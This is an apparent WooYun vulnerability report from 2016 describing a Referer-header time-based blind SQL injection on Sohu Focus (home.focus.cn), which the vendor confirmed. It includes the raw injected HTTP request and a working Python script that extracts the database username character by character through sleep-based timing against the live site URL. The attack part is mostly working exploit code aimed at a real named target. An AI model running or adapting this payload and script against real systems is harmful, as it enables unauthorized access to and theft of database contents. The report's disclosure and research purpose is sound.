当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0212468

漏洞标题:搜狐焦点一处referer注入(附验证脚本)

相关厂商:搜狐

漏洞作者: 路人甲

提交时间:2016-05-24 21:01

修复时间:2016-07-08 21:20

公开时间:2016-07-08 21:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-24: 细节已通知厂商并且等待厂商处理中
2016-05-24: 厂商已经确认,细节仅向厂商公开
2016-06-03: 细节向核心白帽子及相关领域专家公开
2016-06-13: 细节向普通白帽子公开
2016-06-23: 细节向实习白帽子公开
2016-07-08: 细节向公众公开

简要描述:

66666

详细说明:

1,请求头:

GET /decorstuffview/654294.html HTTP/1.1
Referer: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
X-Requested-With: XMLHttpRequest
Host: home.focus.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


2,判断user长度为20

QQ截图20160524203300.png


QQ截图20160524203336.png


QQ截图20160524205341.png

漏洞证明:

import requests
import time
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'
user=''
print 'Start to retrive database user:'
for i in range(1,21):
for payload in payloads:

para='if(now()=sysdate(),sleep(0),0)/*\'XOR(if(ascii(substr(user(),%s,1))=%s,sleep(5),0))OR\'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/' % (i, ord(payload))

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21',
'X-Requested-With': 'XMLHttpRequest',
'Referer':para,
}

start_time = time.time()
response=requests.get('http://home.focus.cn/decorstuffview/654294.html',headers=headers)
if time.time()-start_time > 4.9 :

user+=payload
print '\n user is:',user,
break
else:
print '.',
print '\n[Done] database user is %s' %user

修复方案:

过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-24 21:18

厂商回复:

感谢支持

最新状态:

暂无